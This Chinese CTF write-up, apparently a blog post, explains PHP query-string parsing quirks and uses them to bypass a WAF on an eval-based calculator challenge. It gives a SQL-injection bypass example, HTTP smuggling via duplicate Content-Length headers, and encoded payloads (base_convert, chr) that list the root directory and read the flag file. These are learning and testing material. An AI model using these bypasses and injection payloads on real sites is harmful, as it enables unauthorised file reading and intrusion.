知识点

利用PHP的字符串解析特性Bypass

我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:

/news.php?%20news[id%00=42"+AND+1=0--

上述PHP语句的参数%20news[id%00的值将存储到$_GET["news_id"]中。

HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

1.删除空白符

2.将某些字符转换为下划线(包括空格)

例如:

User input Decoded PHP variable name
%20foo_bar%00 foo_bar foo_bar
foo%20bar%00 foo bar foo_bar
foo%5bbar foo[bar foo_bar

通过以下这个示例,你可以更直观的看到parser_str函数如何处理字符串:

img

<?php
    foreach(
        [
            "{chr}foo_bar",
            "foo{chr}bar",
            "foo_bar{chr}"
        ] as $k => $arg) {
            for($i=0;$i<=255;$i++) {
                echo "\033[999D\033[K\r";
                echo "[".$arg."] check ".bin2hex(chr($i))."";
                parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);
                /* yes... I've added a sleep time on each loop just for 
                the scenic effect 
  like that movie with unrealistic 
                brute-force where the password are obtained 
                one byte at a time (∩`-´)⊃━☆゚.*・。゚ 
                */
                usleep(5000);
                if(isset($o["foo_bar"])) {
                    echo "\033[999D\033[K\r";
                    echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
                }
            }
            echo "\033[999D\033[K\r";
            echo "\n";
    }

parse_str.gif

parse_str函数通常被自动应用于get、post请求和cookie中。如果你的Web服务器接受带有特殊字符的参数名,那么也会发生类似的情况。如上代码所示,我进行了多次循环,枚举了参数名三个位置的0到255之间的所有字符,看看解析函数到底是如何处理这些特殊字符的。结果如下:

1.[1st]foo_bar

2.foo[2nd]bar

3.foo_bar[3rd]

img

img

在上述方案中,foo%20bar和foo+bar等效,均解析为foo bar。

http走私和分块传输绕过waf

http走私

相关PHP函数

scandir() 函数 返回指定目录中的文件和目录的数组。 img base_convert() 函数 在任意进制之间转换数字。 img dechex() 函数:把十进制转换为十六进制。 hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。 readfile() 函数 输出一个文件。 该函数读入一个文件并写入到输出缓冲。若成功,则返回从文件中读入的字节数。若失败,则返回 false。您可以通过 @readfile() 形式调用该函数,来隐藏错误信息。 img

chr()函数

img

Writeup

查看源码之后发现calc.php

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

直接输入?num=phpinfo();会直接被Forbidden,原来这是有WAF的,找了一些博客,硬说上面的代码就是WAF,我真的就傻了,前面加一个空格就绕过上面的正则???我寻思着带进去也不对啊

后来终于有人说这不是WAF了,是有我们看不到的WAF…好了,进入正题吧

先说怎么绕过吧,在知识点是本次绕过的两种姿势

  • ? num=phpinfo();(注意num前面有个空格),或者?+num=phpinfo();,均可绕过WAF

  • 利用http走私,传两个content-length,就可以绕过了,虽然会报 400 Bad Request.其他http绕过方法也可以

    img

现在就来得flag吧,要知道flag,就得知道flag的放在哪,一般没有提示都是放在根目录下在,所以我们可以先查看根目录,一般用scandir(/),但是被正则过滤了(字母和/),这个时候我们可以通过转码来获得我们想要的

  • 字母可用base_convert() 函数:

    // echo base_convert(scandir,32,10);
    >>> 30478677595
    
    base_convert(30478677595,10,32);
  • 由于base_convert()函数只能表示数字和字母,特殊字符表示不了,我们可以:

    • 先转为16进制,再转为ASCII值,即使用dechex() 函数,hex2bin() 函数

    • 直接使用chr()

      chr(47)

所以要查位置payload就是var_dump(base_convert(30478677595,10,32)(chr(47)))

img

继续读取flag

// echo base_convert(readfile,32,10);
>>> 943095007918
    base_convert(943095007918,10,32);
    chr(47)

// echo base_convert(f1agg,32,10);
>>> 15772176
    base_convert(15772176,10,32);

所以payload为

var_dump(base_convert(943095007918,10,32)(chr(47).base_convert(15772176,10,32)))

参考文章

  • https://www.freebuf.com/articles/web/213359.html
  • https://www.secpulse.com/archives/118622.html
说点什么
评论之后转圈圈也不用管,要批准之后才能显示,谢谢
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...